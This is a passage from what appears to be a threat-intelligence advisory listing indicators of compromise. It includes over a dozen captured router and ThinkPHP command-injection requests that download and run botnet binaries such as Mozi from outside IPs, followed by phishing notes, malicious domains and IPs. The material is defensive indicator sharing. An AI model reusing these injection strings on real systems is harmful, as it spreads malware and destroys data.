/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://91.92.242.155/most-mips;${IFS}chmod${IFS}777${IFS}most-mips;${IFS}./most-mips${IFS}zyxel;

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+ducky%3B+wget+wget+http%3A%2F%2F91.92.241.244%2Fducky%3B+chmod+777+ducky%3B+bash+ducky%3B+sh+ducky%3B+.%2Fducky+rm+-rf+ducky%3B%60)

/public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call\_user\_func\_array&vars%5B0%5D=

shell\_exec&vars%5B1%5D%5B%5D=curl%20cd%20/tmp;%20wget%20http://91.92.244.16/bins/slave.mips;%20chmod%20777%20slave.mips;%20./slave.mips%20thinkphp;%20rm%20-rf%

/shell?cd+/tmp;rm+-rf+\*;wget+http://45.115.89.12:32938/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.99.139.61:39736/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/154.216.18.237:88/j;chmod+777+j;./j

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wgethttp://107.189.14.198/Yboats.x86-O/tmp/.YBot;chmod777/tmp/.YBot;/tmp/.YBotthinkphp.selfrep

http://172.16.176.25/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://117.219.41.70:36409/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m

/public/index.php?s=/Index/%09hink%07pp/invokefunction&function=call\_user\_func\_array&vars%5B0%5D=shell\_exec&vars%5B1%5D%5B%5D=curl%20wget%20http://188.253.7.42/bins/bins.sh%20-O-%7Csh

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*mips\*;${IFS}wget${IFS}http://103.245.236.146/huhu.mips;${IFS}chmod${IFS}777${IFS}huhu.mips;${IFS}./huhu.mips${IFS}zyxel.selfrep;

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94.156.66.26%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://123.9.48.197:56435/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://125.161.159.43:39379/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://208.65.87.151/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/shell?cd+/tmp;rm+-rf+\*;wget+http://46.32.172.224:10151/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://182.112.227.129:38194/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-08-29-006**

It has been observed that financially motivated threat actors are using Business Email Compromise (BEC) attacks for phishing in which the threat actor poses as a trusted individual and attempts to trick an employee into transferring money and sensitive financial information. It can evade endpoint detection systems designed to search for malicious links or attachments. Adversaries are also leveraging SMS phishing, or “smishing,” to compromise accounts. This involves adversaries sending fraudulent text messages to trick recipients into sharing personal information or clicking on malicious links.  Adversaries are compromising victims accounts by sending phishing email to the employee’s personal email address that redirects the user to a fake login page. The user has password-less authentication through an authenticator application but received a Multi-Factor Authentication (MFA) push notification and accepted it, granting the adversary access.

1. **TA-PHI-2024-08-29-007**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

a5e1.com

meacases.report

email-gov-in.a5e1.com

mea.gov.in.meacases.report

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2024-08-29-003**

It has been observed that unknown threat actors are targeting Internet Service Providers (ISPs) Networks.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

51.79.251.51

103.248.61.127

185.160.24.143

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*